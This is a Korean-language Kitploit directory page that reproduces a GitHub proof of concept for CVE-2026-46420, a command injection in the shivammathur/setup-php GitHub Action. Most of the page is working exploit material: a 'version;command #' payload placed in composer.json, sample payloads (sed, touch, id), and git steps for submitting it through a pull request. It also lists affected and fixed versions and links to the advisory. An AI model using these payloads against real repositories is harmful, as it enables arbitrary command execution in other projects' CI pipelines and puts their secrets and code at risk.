Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-46420 — PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution. | Kitploit
도구/GitHubGitHub/jvr2022/cve-2026-46420
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubjvr2022/cve-2026-46420

CVE-2026-46420

PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-46420 PoC

저장소에서 관리하는 파일로부터 PHP 버전을 로드할 때 shivammathur/setup-php에서 발생하는 명령어 삽입(Command injection) 취약점입니다.

영향 받는 버전:

root@kitploit:~
>= 2.25.0, < 2.37.1

수정된 버전:

root@kitploit:~
>= 2.37.1

PoC

대상 저장소에는 이미 취약한 워크플로우가 있어서, Pull Request 내용을 체크아웃하고 [email protected]을 실행합니다.

공격자는 composer.json만 변경합니다.

root@kitploit:~
-"php": "8.2"
+"php": [
+  "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]

setup-php가 composer.json에서 PHP 버전을 읽을 때, 삽입된 명령어가 생성된 셸 스크립트에 포함되어 실행됩니다.

결과:

root@kitploit:~
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc

재현 방법

대상 저장소에서 브랜치를 생성합니다:

root@kitploit:~
git checkout -b poc-test

깨끗한 composer.json을 PoC 버전으로 교체합니다:

root@kitploit:~
cp attacker/composer.json composer.json

커밋하고 푸시합니다:

root@kitploit:~
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test

poc-test에서 main으로 Pull Request를 엽니다.

Actions 실행 결과, setup-php 단계에서 demo-app/.env.example이 수정된 것을 확인할 수 있습니다.

명령어 변경

Payload 형식은 다음과 같습니다:

root@kitploit:~
8.2;<COMMAND> #

현재 Payload:

root@kitploit:~
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #

실행되는 명령어는 다음과 같습니다:

root@kitploit:~
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example

PoC의 동작을 변경하려면 8.2;와 # 사이의 명령어를 교체하십시오.

파일 생성:

root@kitploit:~
8.2;touch poc-executed #

파일 쓰기:

root@kitploit:~
8.2;printf 'poc executed\n' > poc-result.txt #

명령어 출력:

root@kitploit:~
8.2;id #

예시 composer.json:

root@kitploit:~
{
  "config": {
    "platform": {
      "php": [
        "8.2;touch poc-executed #"
      ]
    }
  }
}

수정 방법

[email protected] 이상으로 업그레이드하십시오.

동일한 Payload는 패치된 버전에서 거부됩니다.

참고 자료

https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r

https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b

도구 다운로드